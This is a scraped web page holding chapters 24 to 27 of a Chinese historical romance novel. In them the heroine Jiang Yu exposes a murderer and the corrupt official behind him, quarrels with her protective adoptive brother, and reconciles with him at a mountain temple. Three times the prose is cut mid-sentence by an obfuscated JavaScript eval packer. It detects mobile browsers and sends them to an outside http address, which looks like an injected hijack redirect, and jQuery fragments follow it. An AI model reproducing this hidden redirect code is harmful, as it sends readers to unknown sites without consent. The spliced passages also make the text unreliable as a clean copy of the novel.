姚茂林暗暗舒了口气,看来平日里结交的酒肉朋友在关键时候还是能派上用场。 “此话当真?”府丞道:“人命关天,可由不得你胡言。” “自然是真的,我在青楼里见过两回,就是还太小了,我还跟蕙娘说要预定她……” “好了,”府丞像是猜到他即将说什么,连忙摆手道:“下去吧,叫青楼鸨母过来。” 从姚茂林叫证人起,江瑜就始终面色平静。此刻鸨母蕙娘来了,她也一言不发,像是并不害怕谎言被戳穿似的。 果然,等蕙娘一开口,姚茂林就暗道不好。 “我不认识她,她也不是青楼里的人。”蕙娘神色冷淡。 作为开门迎客的生意人,蕙娘当然不愿与命案扯上关系。若是传出去青楼里发生过这样的事,那以后怕是都没人敢来了。既然有人愿意把小琪儿接手过去,那她感激都来不及,怎么可能承认。 蕙娘一走,姚茂林颓败地跪在地上,当真是哑巴吃黄连,有苦说不出。他不甘心就这样认罪,百口莫辩道:“凭什么她说是丫鬟,就一定是她的丫鬟了?证据呢?” 府丞长叹一声,他召来一个属下,低声道:“兹事体大,还是把府尹大人和江大人都请过来吧。” 很快,府尹和江涣之一前一后地到了。在堂官员都起身朝江涣之行礼。 府尹并未说什么,很快便与府丞低声交谈起案件经过,可江涣之就难办了,他从进门起一双眼睛仿佛染着寒霜朝江瑜看来,无声地问:你又惹出什么事了? 江瑜自知理亏,眼巴巴地看着江涣之,朝他使了好几个眼色。事后想怎么罚她都行,可眼下事关重大,你可别当众戳穿我! “哥哥,小琪儿没了……”江瑜哭得抽抽搭搭的:“她可是我从金陵带过来的丫鬟,你一定要为我做主!”说完,江瑜又朝他眨了眨眼。 江涣之接收到江瑜的暗示,虽然并不清楚发生了什么,但在瞬息之间,他就下定了决心要与她一唱一和。 “这不是舍妹房中的贴身丫鬟么,怎么会变成这样?她与舍妹自小一起长大,还从金陵一并来了京城,我们江家可从未苛待过她!”江涣之一脸痛心,俨然已经入了戏,他沉痛道:“舍妹来京城不过几月有余,很少出府,连人都不认识几个,怎么可能无端构陷于旁人?” 24. 第 24 章 江涣之走进来的那一刻,姚茂林原本以为有救了。官至二品的肱股之臣总不至于由着自家妹妹胡作非为,就算他有意偏袒,事发之前他们也并无机会能串通供词。 然而江涣之的话却无疑再添了把火。姚茂林如遭雷击,急火攻心之下,他浑身一软,竟直挺挺地晕了过去。 几个官兵上前将人扶起来,抬到后间歇息。姚茂林紧紧闭着眼,听见有人去叫郎中了,在一阵嘈乱的脚步声中,他始终装作不省人事的样子。 没过多久,身边的声音渐渐小了下去,他确定身边只留了一个衙役,于是看准时机,假装“悠悠转醒”,还发出了一丝轻微的响动。 那名衙役果然看了过来,似乎正要出去叫人。 姚茂林做了个“嘘”的手势,随即招招手,示意他过来。假装晕倒只是权宜之计,事已至此,姚茂林不得不使出后手。否则等真入了牢狱,可就无力回天了。 衙役已走至近前,见左右无人,姚茂林低声道:“这位兄台,麻烦你帮我跑一趟,去刑部尚书府找到梁行章,梁大人,将此事告知于他,让他想想法子把我捞出去。梁大人会给你钱的,事后我也定不会亏待你。” 衙役听完他的话,没说答不答应,当即作势要走。姚茂林只当他是要急着去通风报信,连忙又道:“出去的时候隐蔽些,万不可将这些话让旁的人知道。事成以后,升官发财都少不了你。” 等衙役离去,姚茂林放心地坐了回去。然而他不知道的是,其他官兵都是被江涣之叫出去的,他有意只留了一个衙役在房中,为的就是给姚茂林制造契机。此时,怀揣着“使命”的衙役刚走出前堂,就被江涣之拦下了,他似笑非笑地道:“将刚刚在里面发生的都事无巨细告诉几位大人吧。” 不多时,提着药箱的郎中进来了。姚茂林立即闭上眼睛,往身后的椅子上一躺,继续装晕。 郎中又是诊脉又是扎针的,折腾了许久,估摸着时候差不多了,姚茂林终于决定彻底醒来。此刻外头恰巧传来一阵言辞激烈的争执声,姚茂林心下一喜,想着应是姨夫派的人到了,于是撑起身子往外走去。 江涣之正掷地有声地道:“此人罪大恶极,纠缠舍妹丫鬟一事许多人都看见了,江府上下都能作证!如今拒不认罪也就罢了,竟还胡乱攀咬朝廷命官,罪加一等!梁大人是多么清正廉明的好官,怎么可能与这种市井无赖扯上关系,定是此人为了脱罪信口开河。此事非同小可,还望各位大人能还梁大人一个公道,这么多百姓也都看着,若是传出对梁大人不利的谣言,后果不堪设想。依我看,既已牵连到朝廷官员,那么此案应移交到大理寺受审。” 姚茂林刚走出来就听见这样一番话,围观百姓纷纷叫好,府尹和府丞大人也跟着点头,或许他们早就想将这烫手山芋扔出去了,此时都认可起江涣之的话。 姚茂林两眼一黑,险些真的晕过去。先是一个莫名其妙的江二小姐咬住他不放,现在又来个位高权重的江大人,这都是从哪冒出来的两个祖宗? 又听得府尹大人道:“自是该移交到大理寺的,那么是否应传梁大人?” “当然得传,梁大人行得正坐得端,无端被泼了身脏水一定气愤不已,想必他知晓了事情经过也会亲自来当堂对峙。”江涣之道。 就这样,姚茂林被戴上脚镣手铐。兴许是认定他的罪行八九不离十,这一路上他吃了不少苦头,手腕脚腕都被磨破了皮,每走一步都传来钻心的疼,可稍微走慢一点又会被押送他的官兵呵斥。 当姚茂林终于见到梁行章时,那满腹的“冤屈”仿佛终于有了一个出口,他哭丧着脸,低低叫了声:“姨夫。” 梁行章原本在宫里清点赃物,已经是一个头两个大了,忽然被通知有一桩案子牵扯到他,于是匆忙赶到大理寺。焦头烂额的梁行章不愿理会姚茂林,沉着脸往前走。 姚茂林见四周只有几个官兵,便忍痛往前追了几步,小声道:“姨夫救我,那个江二小姐根本拿不出证据,那些都是胡诌的。我也不知道她怎么就盯上了我……” “别叫我姨夫。”梁行章终于停了下来,他已行至台阶最上方,里面就是大理寺了。梁行章的脸笼在阴影里,外面的阳光还照在他的官袍上,上面的仙鹤恍惚间已变得张牙舞爪。 “我不认识你,休要胡乱攀扯!”说罢,梁行章转过身拂袖而去。 姚茂林怔愣在原地,直到身旁官兵粗鲁地一推,他才戴着沉重的枷锁艰难往里走去。大理寺卿坐在上首,居高临下地看着下方,姚茂林跪在堂中,左边是步步紧逼的苍冥将军,右边则是急于跟他撇清关系的梁行章。 姚茂林喉头艰涩,大理寺卿正在问话,然而他一个字也说不出来了。他绝望地意识到,姨夫已经放弃他了,即便他正是在为姨夫办那些脏事,然而一旦事发,被推出去牺牲的那个人也是他。 横竖都是一个“死”字,可凭什么死的只有他? 姚茂林忽然以头抢地,重重磕了下去。他听见自己的声音颤抖着道:“大人,小琪儿的确死于草民之手,可我也是受梁大人指使,他才是主谋!” 这句话就像一道惊雷,骤然劈下,让整个堂间都陷入了短暂的鸦雀无声。梁行章险些没站稳,他横眉怒目道:“此人满口胡言,实在是不可信——” “草民并非胡言,我有梁大人亲笔书写的信件。”姚茂林道。 大理寺卿闻言也有些意外,他道:“那便呈上来吧。” 梁行章浑身青筋涨起,眉心也突突地跳。他眼睁睁看着姚茂林从衣服内侧的夹层里取出一封信,呈交了上去。 大理寺卿接过信件,拆开一看,神色很快就变得惊诧。站在下方的梁行章脸上青白交加,他想做些什么,可身边还有个虎视眈眈的江涣之在盯着他。 没记错的话,那封信上还有他的私印。 梁行章闭了闭眼,终究还是豁出去了,想上前与大理寺卿说些什么,江涣之长腿一迈,挡住了他的去路,脸上竟还挂着关切,“梁大人,怎么站不稳了?您脸色也不太好,要不要找张凳子坐下?” 梁行章瞪着他,咬牙吐出两个字:“不必。” 看完信,大理寺卿倒吸了一口凉气。他正襟端坐,下令道:“将这二人都关进大牢,梁大人……多有得罪了。兹事体大,明日还要再审,本官也会将案情禀明圣上。” 折腾了大半天,外面早已圆月高悬,夜色渐深。江涣之一步上前道:“那本官也带着舍妹回去了,日后若是再需要作证,随时派人到江府知会一声便可。” 离开大理寺,言午不知何时已经驾着马车等在了外面。江瑜回头看了一眼,江涣之一脸铁青地骑上了马,没看她,也什么都没说。 坐上马车,江瑜掀开帘子,只见江涣之不像之前那样与她并排而行,而是一个人骑马走在最前面。 “小姐,您赌赢了。”玉影道:“大少爷已经派人将小琪儿安葬,至于梁行章,就让他和姚茂林狗咬狗去吧。” 望了一眼江涣之的背影,江瑜闷闷地道:“梁行章完了,我好像也完了。” 抵达江府,江瑜下了马车就一路小跑,试图追上江涣之和他说说话,可还没等她追上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797740|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,江夫人就先迎出来了。 “怎么出去了那么久?还没吃晚饭吧,快进来,娘让厨房做了许多你爱吃的。”江夫人挽着江瑜的手往里走。 江瑜其实一整天都没吃东西。她小心觑了觑江涣之,见他还是绷紧着面色,于是道:“娘,我晚点再吃,我还有话要跟哥哥说。” 江夫人也看出了二人的气氛有些反常,她忧心忡忡地看了眼江涣之,柔声道:“都是一家人,有什么事好好说。” 话是对着江瑜说的,可又明显在说给江涣之听。 江瑜惴惴不安地跟着江涣之走进前院书房,她垂着眼眸,头也耷拉着,就等着江涣之训话。然而过了许久,训斥的声音没传来,江瑜一抬头,才发现江涣之一直半阖着眼看她。 “不是有话跟我说么,”江涣之嗓音低沉,语气也冷冰冰的,“说吧。” 江瑜嘴唇翕动,一时不知该从何说起,“我……” “不如就从你是什么时候,又如何潜入青楼的讲起?”江涣之提醒道。 江瑜心一沉,索性全招了:“琴心那里根本审不出什么,我怀疑与富商接头的另有其人,所以想去探探。于是就……趁你去军营那晚扮作男子去了一趟。” “那种地方,又是夜里,你还真敢去。”江涣之感到一阵后怕,他又惊又怒,但更多的还是有可能失去江瑜的惊惧,“你不应该将自己置身于险境。” “我会武了,我能保护自己。” “你才学多久的武?会了几招三脚猫功夫,就以为自己无往不利了?”江涣之冷声道:“我真该让你吃些苦头。” 江瑜自知理亏,又低下了头,一言不发。 “如今看来你找我讨要琴心也是另有所图,去徐府玩也是幌子?说,你都是如何将言午支开的?” 江瑜张了张嘴,含糊道:“是徐绫帮我从府中后门溜出去的。” “那你以后不许再去徐府了。” 江瑜猛然抬起脸,不忿道:“可我并非从一开始就利用她,我是真心把她当朋友。” “看着你往火坑里跳的可不能称为朋友。” “我才没往火坑里跳!”江瑜梗着脖子,争辩道:“我赢了,我把梁行章拉下了水,我还发现了梅公子囤放钱财的密室。我能靠自己做成许多事,我不是你养在府里的莺雀!” “我从来没有把你当莺雀看。” 江涣之突然蹙起了眉,他正色道:“你说,是你发现了囤放钱财的密室。那,之前在画舫里给我传递信息的女子……也是你?” 江瑜自知失言,她本来只想邀功,可来自哥哥的夸奖没等来,反而牵扯出了更多的秘密。 “真是胡闹!”江涣之站了起来,案几上的杯盏茶壶被他的衣袖一拂,碎了一地。 江夫人被这清脆的声音吓得不轻,她在书房外面急得团团转,“玉影,翠竹,到底发生了什么?” 翠竹一个劲掉眼泪,玉影也只是摇摇头,一句话也不肯说。下一刻,江涣之那充满怒意的声音传来:“让玉影进来。” 玉影恭顺地走进书房,江涣之道:“当初看你忠心护主,这才让你去二小姐身边服侍。你你数次由着二小姐胡来,她年纪小不懂事,你莫非也不懂事?自行去言午那里领板子。” 玉影躬身道:“属下甘愿受罚。” 说完,她转身要走,江瑜伸手挡在了她面前。除了在山间别院,这还是玉影第一次见江瑜掉眼泪。 江瑜哭得泣不成声,她将玉影牢牢护在身后,她哭着道:“你要罚就罚我吧,不许打玉影板子!” 25. 第 25 章 玉影原本面色如常,可一看江瑜这样,她也禁不住有些鼻酸,“小姐,不必为我求情。以前也不是没领过罚,挨几十个板子我还受得住。” “不行。”江瑜还是死死挡在玉影身前,“玉影做的每一件事都是我让她做的,要罚就罚我!” 看着这出闹剧,江涣之从踏入顺天府那一刻就开始憋闷的心绪变得更郁结了。他一连说了几个“好”,厉声道:“既然你们主仆情深,那就一并去祠堂跪着受罚。” 江瑜不仅没叫屈,反而抹了把眼泪,主动拉着玉影往外走,“至少你不用挨板子了。” 祠堂位于江府的最北边,一到冬天冷得要命,门一打开,里面阴风阵阵,透着股阴森鬼魅的味道。 门一关,江瑜和玉影彻底与世隔绝了。她们并排跪在一众牌位前,都是习武之人,因此并不算太难熬,就是奔波了一天,此时一切尘埃落定,难免有些疲累。 江瑜还是忍不住去想江涣之,她恹恹地问:“你说,哥哥生那么大的气究竟是因为我只身赴险,还是他不喜欢我以别人的身份与他来往?” 玉影低头想了想,“属下认为两者都有。大少爷一向紧张小姐的身子,也不喜被欺骗。” 江瑜闷闷地“哦”了一声,不再说话了。 玉影早就想过会东窗事发,只是没想到会这么快。她心疼江瑜要跟她一起受罚,于是变着花样想逗她开心。没过多久,玉影道:“小姐,想想梁行章此刻被关在地牢里的样子,他可比我们难熬多了。” 江瑜想了想,果然笑了出来。 漫漫长夜,她们还不知要跪到什么时候。江瑜又道:“严格来说,我身上流的不是江家的血。你说江家的列祖列宗此时在天之灵,看见我这个不认识的人,会不会正在交头接耳‘这个人是谁,为什么要跪在我们家的祠堂?’” “噗嗤……”玉影失笑出声,不过很快又慌张地双手合十,朝着牌位作揖道:“真是大不敬,仙人莫怪。要怪就怪我,别怪我家小姐。” 江瑜把她的手拿下来,“你都说是仙人了,活了几百岁,哪会那么小气?” 然而事实证明江家人肚量果然都不大,随着时间推移,江瑜渐渐开始腹痛。她捂着肚子跪坐在地上,脸色和嘴唇都发了白,她快要支撑不下去了。 “小姐,”玉影扶着江瑜:“这是怎么了?” “可能是一整天都滴水未进,饿得厉害。”江瑜语不成调,头上已经起了细密的冷汗。她前几年常爱在凉水里泡,导致每回来癸水也容易腹痛,她抽着气道:“大概这个月的癸水也快到了。” 玉影把江瑜扶着躺下,她急急起身道:“小姐再坚持一会儿,我马上去叫人。” 她走到门口大喊道:“来人啊,二小姐病了——” …… 挥退了众人,江涣之独自坐在书房。心烦意乱之际,他忽地看见腰间挂着的香囊,那是江瑜绣的江水和小鱼。 常年手握刀剑的手长了一层薄茧,江涣之用稍显粗粝的指腹划过那些细密的针脚。 就像江瑜所说,她不愿做关在笼中的莺雀,想做自由自在的小鱼。可就算是小鱼,她也应该在他的这片江水里游弋,谁允许她擅自游出去的? 无声地叹了口气,江涣之刚收起香囊,陆山就来了。 “二小姐腹痛不止,应是一天没进食,饥饿所致。” “她一天没吃东西?”江涣之一怔,“你怎么早不说?” “二小姐是跟您一道回来的,属下还以为……” “算了,快叫厨房做一桌饭菜送过去。”江涣之催促道。陆山刚走,他又把人叫了回来:“等等。” 陆山折返回来,只听江涣之道:“别说是我让人送的,就说是娘送过去的。” 陆山领命而去。江涣之在书房来回踱步,还是放心不下。 以她那倔脾气,该不会饭菜都送到眼前了,还赌气不吃吧?再饿一夜,人就该晕过去了。祠堂夜里又那么冷,江瑜前两年还大病过一场,身子骨好不容易才养好了些…… 江涣之叫来言午,“夫人呢?方才还站在门外想进来求情,怎么突然走了?” 言午摸不准江涣之的心思,如实答道:“夫人见您气得不轻,料是劝了也没用,就回了院子。此时也没睡,换了素衣正要去上香。” “那你就说我气已消了大半,可以来劝了。”江涣之道。见言午怔愣在原地,像是听不懂似的,他催道:“快去啊。” 半柱香后,前院书房,江涣之耐着性子听完江夫人的一番话,思虑片刻,下令道:“既然娘都来替她说话了,那就把人放出来,送回瑜园。除了瑜园,哪也不许去。” 刚做好的饭菜还不等送到祠堂,就原封不动地绕了个弯,送去了瑜园。江瑜坐在房里用完了饭,正要上床歇息,医女又来了,说是要给江瑜诊脉。 “你也是娘找来的?”江瑜问。 “是,”医女道:“说是务必要确保二小姐平安康健。” 江瑜不好拂了江夫人面子,只好将手往前一伸,“那诊吧。” …… 江瑜这头被禁了足,另一头的梁行章一案还在紧锣密鼓地推进着。此案在整个京城引起轩然大波,一直审到了年关将近,牵扯到的官员众多,其中大多数都是官阶比梁行章低的,能被称之为他的党羽的人。 除夕将近,江涣之依旧忙得抽不开身,大街小巷都是热闹的喜气,江府里却还是死气沉沉。虽说江夫人一向清净礼佛,可这多少还是受了兄妹俩不和的影响。江夫人有心想好好过一个年,近日来她与张伯一道,在江府上下都挂满了灯笼,也贴了许多窗花。 江瑜每日都在院子里练武,其余时间就待在房中哪都不去,谁也不见。听说赵承昱已经回来了,好几次想来拜访都被江涣之一口回绝,还听说徐绫也来递了几回帖子,江瑜都称病不出。 江涣之常宿在宫中,即便回来也都是很晚了。可他每次依旧会来瑜园看看江瑜。 隔着珠帘,江涣之看不见江瑜的神情,只从丫鬟口中得知她还没睡。他知道江瑜关心案情,于是专捡她想听的说:“赃款一案与小琪儿被害一案合并调查了。姚茂林和裁缝铺掌柜是主要证人,还牵涉到刑部一个名不见经传的主事,梁行章没能管住手下的人,梅公子不会保他。” 说完,房中陷入寂静,也不知江瑜究竟听没听见。她已经许久不再跟江涣之说话。 过了半晌,江涣之径自道:“也就是说,梁行章被拉下马了。不止是他,还有刑部一半的人。他丢了官,家也被抄了,一家上下都要被流放,过完年就走。” 回应他的依旧是沉默,江涣之道:“不过他还是没交待出背后的人,应是不敢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807791|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江涣之站在珠帘前等待片刻,见江瑜还是没有回应他的意思,于是道:“那我走了,等再过两日封篆了就能回来陪你和娘过年。” 始终一言不发的江瑜让江涣之想起了以前在山间别院的日子,她常常一坐就是一天,年纪轻轻的身体里仿佛装着一个垂朽不已、暮气沉沉的灵魂。 江涣之朝里面深深望了一眼,随即转身走出瑜园。 第二天,江瑜带着几壶酒去了后山坟冢,她跪在爹娘和幼弟面前,抹了把泪,笑着说道:“梁行章已经解决了,这是第一个,但不会是最后一个。我会找到真正的梅公子,替裴家报仇。” …… 岁末将至,朝廷又出了那么大的事,因此今年的宫宴比往常晚了两天。 江瑜已经许久没有进宫,她和江夫人一道坐进女眷席,看到许多熟悉的面孔。一切似乎都没有发生变化,唯一不同的是她没有再看见梁音了。 少了个梁音,席间变得安静异常。许多女眷都有意无意地看向江瑜,但又不敢真的细看,似乎是有些……怕她。 “江瑜。”徐绫走了进来,在她旁边坐下:“你怎么瘦了这么多,病好了没?” 江瑜赫然想起前阵子闭门不出的理由正是生病,于是笑了笑道:“好多了。” “你的事,我已经听说了……”徐绫语气沉重:“自小一起长大的丫鬟突然没了,任谁都是会伤心的。可斯人已逝,你还是莫要太过悲切了。” 江瑜的丫鬟被奸人所害,牵扯出梁家的事这一段时间在京城闹得沸沸扬扬。江瑜似乎是有些奇特体质,每隔几个月都会成为万众瞩目的焦点,“江二小姐”这个名头总会传遍大街小巷。 而她前段时间抱病不出也被很自然地归结到了忧思过度上。 “你知道吗,”徐绫压低声音,讳莫如深地道:“刑部还发现了一处藏匿赃款的密室,这与命案前后脚发生,大家都猜测这两件事之间有千丝万缕的关系。喏,那就是立了大功的刑部主事,好像叫蒋义如。” 江瑜顺着徐绫手指的方向,果然看见了蒋义如也在下方。这样的场合,按理说他的职位还不够出席,大抵是得了璟和帝青眼,因此破格让他也参加。 “我爹说,年后的春季考课,这位蒋主事应该就会升迁了。正好如今的刑部也缺人。” 江瑜这才想起来,徐绫的爹就是掌管官职变动的吏部尚书。她顺着这番话道:“这个蒋主事一看就绝非池中之物。” 徐绫问:“怎么看出来的?” “他的官服都有些发白了,应是用草木灰浆洗所导致,朝中官员大多都是用的皂荚,因此不会有这个问题。这样明显的差别蒋主事不会看不出来,可他却在跟旁人相处时不卑不亢,可见品性高洁。” 徐绫认真观察了一会儿,正如江瑜所说,蒋义如虽然出身清贫,但言行举止都很坦荡,与人交谈时也看不出局促窘迫。 徐绫伸出个大拇指道:“你可真会看人。” 宴席至中途,宫殿外忽然纷纷扬扬飘起了雪,在这个年关将至的夜晚,这场雪无疑是个好兆头。内侍进来通报之后,璟和帝龙颜大喜,众臣也相继上前朝贺。 徐绫颇有兴致地凑过来道:“要不要偷溜出去看雪?” 江瑜看了一眼下方的江涣之,他正在与太子说话。她点头道:“好。” 26. 第 26 章 一路牵着手小跑出去,江瑜脸颊红扑扑的,她们站在廊檐下,看见树梢上全都挂满了雪,每棵树都像装点了一件新衣裳似的,好看极了。 徐绫蹲下身,团了个雪球,轻轻朝江瑜掷了过来。她没使多大的力,雪球半道上就掉落在地,可徐绫还是吃吃地笑个不停。她的手被雪冻得发红,双手放在一起搓了搓,又蹲下去团新的雪球。 徐绫是孩子心性,江瑜受她影响,两人玩得不亦乐乎,还堆起了一个小雪人。 看时辰差不多了,两人正要回去,徐绫忽然惊叫一声,拉着江瑜躲到了假山后面。江瑜正狐疑着,只听徐绫低声道:“我们先等一等,等人走了再进去。” 江瑜还不知她口中的“人”是谁,探出头望了一眼,这才看见六皇子也走出了宫殿,正站在殿外,望着飘扬的雪花出神。 “你们……”江瑜一时语塞,她想不出这两人之间有什么过节。 徐绫叹了一声,缓缓开口:“几个皇子里,就剩六皇子还没娶妻了。陛下也不知是怎么了,最近突然操心起六殿下的婚事,我也在候选名单里……” “什么?”江瑜差点咬到舌头,“那你想做皇子妃么?” 六皇子还没封王,连自己的封地都没有,再加上他性情阴郁,在宫中的地位也不高,实在很难称之为良配。 徐绫拼命摇头,“我倒不是因为别的,只是……我总觉得他身上阴森森的,看着让人害怕。” 江瑜很能理解,被那样的人看一眼,视线就仿佛如有实形一般,会黏糊糊地粘在身上。 她将徐绫挡在了身后,小心地探出一点头,往外看去。隔着漫天飞雪,江瑜猝不及防地看见了另一个人。 江涣之在发现她不见了之后立即追了出来,他的面上有焦急,也有慌乱,这与他平日里那一贯漫不经心的淡然做派截然不同。江瑜明知他是在找自己,可她的双脚却像被钉住一般,动弹不得。 江瑜就像一个观众,她的视线不动声色地追随着江涣之,看着他烦躁不已地张望找寻,找来言午和陆山问话,最后急切地抬步往四周走去。很快,他的头上和身上就落满了雪。 江涣之周身只着一件单薄的官袍,料想该是很冷的。他却丝毫不觉一般,连身上的积雪也不曾拂去。 江瑜早就知道江涣之紧张她,可心知肚明是一回事,亲眼所见又是另一回事,她垂下脸,脑海中却依旧盘踞着江涣之那慌张寻找的模样。 她扯了扯徐绫的袖子,闷声道:“我们出去吧,六皇子走了。而且我哥哥出来了,正寻我呢。” 两人深一脚浅一脚地踩在雪地,并肩返回宫殿。江涣之已经看见了她们,正不疾不徐地等在殿外,等江瑜走到近前了,他才开口问道:“你们去哪了?” 江瑜停了下来,像是刚刚注意到江涣之的存在。身侧的徐绫对着江涣之扶了一扶,低声对江瑜道:“我先进去了。” 徐绫一走,江涣之走上前,弯腰把江瑜发丝上的雪花拂去。江瑜感受到他的气息落在自己脸上,她喉间动了动,小声道:“我和徐绫玩雪去了。” “以后不要单独离席。”擦去江瑜脸上的雪,江涣之收回手,正色道:“形势不同了,以前的你可以躲在暗处,可是小琪儿一案之后,你站在了明面上,那就自然会有人想要对付你。” 江瑜静静看了一会儿江涣之,道:“我不怕。想要对付我就尽管来,我最好能将自己活成一个陷阱,把那些牛鬼蛇神都引出来,省得我一个个去找。” “你……”还不等江涣之把话说完,江瑜料想他又该训斥自己胡闹了,于是把人一推,头也不回地走进大殿,往女眷席走去。 …… 宫宴之后,转眼就到了除夕,江涣之难得没有公务缠身,他早早回府,想多陪陪江夫人和江瑜。 江夫人一大早就忙着烧香拜佛,布置祠堂,江瑜则是照常练武,像是并不觉得今日有什么特别的。 到了晚上,一家人总算坐在了一起吃年夜饭。江夫人给江涣之和江瑜各准备了一个红布包,沉甸甸的,里面装满了金银锞子,江瑜接过以后打开看了看,江涣之随手把自己的那份放在一边,拿过江瑜的碗给她盛汤羹。 “以往我都是初一上山,在寺庙住几天再回来。今年也一样。”江夫人看着江瑜,柔声道:“你是随我一道上山,还是留在府中?” 江瑜收起红布包,回道:“我想随娘一同上山。” 江涣之舀汤的手一顿,他抬眼看向江瑜,眉间几不可见地拧了一下。 难得有几天得空,他本来计划好了要带江瑜去城郊的马场练习骑射。江瑜每日不摸一把弓就难受,他原本以为她会很想与自己一起切磋武艺。 江瑜没吃多少就放下了筷子,她对江夫人行礼道:“既然明日要上山小住,那我先带着翠竹回去收拾了。” 翌日清晨,江瑜起了个大早,带着丫鬟等在前院。江夫人是和江涣之一起出来的,一并出现的还有言午打头的十几个暗卫队伍,看样子也要一道上山。 江涣之分明是出来相送的,他放心不下江瑜,可真的见到她了,他又好像不知道该说些什么。连日来,他说的话江瑜总是不爱听,江涣之不想惹她不快,开口前总想先打个弯,仔细斟酌过再讲。 就这样,直到江夫人和江瑜都要走了,江涣之还是一言不发地站在门口。江瑜回头看了看,两人遥遥相望片刻,这便算作告别了。 马车只能坐到山脚,上山的路又高又陡,崎岖异常。江瑜体力尚可,走起来尚还有些气喘,每次抬头也只能看见高耸入云的山巅,寺庙更是掩藏在层峦云海之中,教人摸不准前路还有多远。 江瑜猜想这大概也是对是否虔诚的考验,只有心诚之人才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827363|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能登上高山,抵达寺庙。与其说是佛祖灵验,不如说人心中的执念既已到了这般地步,那么所求之事自然能成真。 一行人到寺庙时已是晌午,寺庙住持与江夫人是旧识,早已让人备好了斋饭。江瑜被一个小沙弥引着来到间禅房,这里就是她要住的地方了。 用完饭,江瑜随江夫人来到前堂,坐在蒲团上,旁边的僧人和江夫人全都盘腿坐好,口中念起经文。 江瑜悄悄睁开眼,看见江夫人心虔志诚的模样,忽然想起来江夫人为何要常年礼佛。丈夫曾是征战沙场的将军,手中沾满鲜血,最后落了个身首异处的下场,然而尸骨都还未寒,唯一的儿子又请命要继承父亲的衣钵,接手残部。不知有多少个难眠的夜晚,江夫人都只能捻着珠子、念诵佛经才能勉强入睡。 江瑜敛目垂眸,难得对眼前的一切和周遭的低语都升起一股敬畏之心。 …… 寺庙的日子宁静闲适,独留在府中的江涣之却觉得一天比一天难熬。除了与林方叙密会过一次之外,江涣之终日坐在书房,彻底陷入无所事事的境地。 他常望着腰间的香囊出神。江瑜莽撞、生涩,像初生的牛犊一样天不怕地不怕,分明是他把她从火海里救出来的,可他又常常觉得是江瑜闯入了他的生活。 或许从那一场火开始,她就把自己也变成了一团火。她的恨是浓烈的,爱也是浓烈的,就像一团火焰会把身边的人烧灼燃尽,这才不枉此生。 …… 这一日,江瑜睡到半夜又做了噩梦,梦里她一会儿在寻找家人,一会儿又在追杀仇人,一直不停地跑啊跑,累得大汗淋漓。 猛然惊醒,床榻边有个人影。江瑜的心霎时提到了嗓子眼,她冷声问:“是谁?” 那人往前走了两步,月光从窗外映在他的脸上,是江涣之。 江涣之连夜上山,连属下都没带。不为别的,只是快入睡时突然担心起江瑜会不会又做噩梦。 兄妹两人一时相对无言,在山间别院时,他们相处起来没什么男女大防。此刻骤然共处一室,因是佛门之地,似乎也没什么大不了。 江涣之从怀里掏出手帕,半跪在床榻前,为江瑜把额头上的冷汗拭去。江瑜早已没了睡意,一瞬不瞬地看着江涣之,心想他大晚上过来总不可能只为了给她擦汗。 “你不能这样对我。” 江涣之的嗓音低沉暗哑,在这个寂静清雅的夜里却让人听得尤其清楚。他低头了,也愿意让步了,甚至甘愿匍匐在江瑜面前祈求原谅。 “我不该管着你,限制你,更不该罚你的丫鬟。你日后想做什么便做什么,出了天大的事有我顶着。我什么都认。” 江瑜听见江涣之说:“我只想让我们和好。” 声音轻得让她忍不住怀疑这又是一场新的梦,让她恨不得再也醒不过来的绮梦。 27. 第 27 章 翌日清晨,江瑜被鸡鸣声唤醒,她洗漱完走出房门,看见许多江家的下人都在收拾打扫。 江瑜愣愣看着,有些摸不着头脑,“这是怎么了?” 翠竹走过来道:“大少爷来了,也要住在寺庙。” 翠竹说完又继续去忙了,留江瑜在原地独自消化这一番话。随沙弥来到斋堂,江瑜一眼就看见与江夫人相对而坐,正在吃斋饭的江涣之。 原来他真的来了。 前一晚,江瑜恍惚间认定那是个梦,江涣之是对她好,可绝不会这样在她面前示弱。她将“梦中”江涣之的面庞仔细瞧了许久,用目光描摹他的每一处棱角,等看够了,她便心满意足地翻了个身,再度沉沉睡去。 此时骤然看见,江瑜有点心虚地挪开了眼,日光也有些刺眼,她低着头走了过去。 “起了?快过来坐。”江夫人笑着招呼道,“正有事想跟你商量。” 江瑜挪过去,坐在江涣之旁边,她捧着碗,用筷子戳了戳里面的豆腐,“什么事?” “寺庙里房间太少,剩下的两日你就跟娘一起住,把你那间让给你哥哥如何?”江夫人问。 